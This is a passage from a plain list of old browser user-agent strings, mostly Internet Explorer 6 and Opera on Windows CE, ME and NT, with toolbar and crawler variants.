6.0; Windows CE; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC) Opera 8.65 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x240) Opera 8.60 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x240) Opera 8.65 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.60 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [nl] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) Opera 8.65 [zh-cn] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 320x320) Opera 8.65 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 320x320)Opera 8.65 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Sprint:PPC-6700) Opera 8.65 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.11 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.53 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; de) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; en) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; en) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; pl) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; pl) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Opera 7.10 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Opera 7.11 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0) Opera 7.23 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; DigExt) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; DigExt; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Girafabot; girafabot at girafa dot com; http://www.girafa.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.2.11.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Q312461; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; T312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; T312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; T312461; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.10 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.11 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.11 [fr] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.20 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23 [ca] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.50 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.50 [ru] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.51 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.52 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.54 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.54 [pl] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) SEOChat::Bot v1.1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Sleipnir/2.49 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Sleipnir/2.8.1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.1); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.1); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.3); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; SpamBlockerUtility 4.7.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Sleipnir/2.8.3 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Sleipnir/2.9.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Lunascape 2.1.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Lunascape 6.1.5.21576) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; GreenBrowser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; Lunascape 5.0 alpha1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Advanced Searchbar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Crazy Browser 1.0.5; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Crazy Browser 1.0.5; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; DigExt; T312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FreeprodTB; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts-MyWay; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; FunWebProducts; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Google Wireless Transcoder;) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; GreenBrowser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 3.0; T312461; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.0; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.1.8.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.11.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.13.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.2.8.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.1.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.1.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.2.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.3.5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.5.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.5.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; IE6SP1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MathPlayer 2.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 4.9.9.98) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.0.2914; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP entries t_st; http://tuezilla.de/t_st-odp-entries-agent.html) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP links test; http://tuezilla.de/test-odp-links-agent.html) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.2914; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Crazy Browser 1.0.5; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.1.5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; Hotbar 4.3.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; MyIE2 0.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.2.5; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; YComp 5.0.2.6; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Rogers Hi-Speed Internet; Hotbar 4.4.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SiteKiosk 6.0 Build 98; SiteCoach 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SiteKiosk 6.2 Build 51) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SpamBlockerUtility 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Hotbar 4.3.2.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; Q312461; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YComp 5.0.0.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YComp 5.0.2.6; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461; iebar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.4; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 